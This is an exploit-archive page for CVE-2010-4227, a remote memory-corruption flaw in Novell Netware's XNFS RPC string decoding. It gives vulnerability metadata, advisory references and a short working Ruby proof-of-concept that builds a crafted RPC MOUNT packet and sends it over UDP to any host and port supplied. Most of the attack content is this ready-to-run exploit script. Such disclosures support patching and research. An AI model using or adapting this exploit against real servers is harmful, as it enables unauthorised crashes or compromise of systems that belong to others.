Novell Netware RPC XNFS xdrDecodeString Vulnerability

2011.02.27

Credit: Francis Provencher

Risk: Medium

Local: No

Remote: No

CVE: CVE-2010-4227

CWE: CWE-119

CVSS Base Score: 10/10

Impact Subscore: 10/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

#!/usr/bin/ruby

# Source:
# http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=24&Itemid=24

require 'socket'

netware_server = (ARGV[0])
target_port = (ARGV[1] || 1234)


beepbeep=
"\x1c\xd1\xef\xab"  + # XID
"\x00\x00\x00\x00" + # Message Type: Call (0)
"\x00\x00\x00\x02" + # RPC Version: 2
"\x00\x01\x86\xa5" + # Program: 10005 MOUNT
"\x00\x00\x00\x02" + # Program Version: 2
"\x00\x00\x00\x01" + # Procedure: MNT  (1)
"\x00\x00\x00\x00\x00\x00\x00\x00" + #
"\x00\x00\x00\x00\x00\x00\x00\x00" + #Verifier NULL
"\x41\x42\x43\x44"




puts "[+] beep beep\n"
puts "[+]No, it's not the road runner\n"


if (!(netware_server && target_port))
    puts "Usage: PRL-2011-04.rb host port (default port: 1234)\n"
    exit
else
    puts "[+]Sending UDP Packet...\n"
    sock = UDPSocket.open
    sock.connect(netware_server, target_port.to_i)
    sock.send(beepbeep, 0)
end

References:

http://xforce.iss.net/xforce/xfdb/65625

http://www.zerodayinitiative.com/advisories/ZDI-11-090

http://www.vupen.com/english/advisories/2011/0497

http://www.securitytracker.com/id?1025119

http://www.securityfocus.com/bid/46535

http://www.securityfocus.com/archive/1/archive/1/516645/100/0/threaded

http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=24&Itemid=24

http://www.exploit-db.com/exploits/16234

http://secunia.com/advisories/43431

http://download.novell.com/Download?buildid=1z3z-OsVCiE

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Novell Netware RPC XNFS xdrDecodeString Vulnerability

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.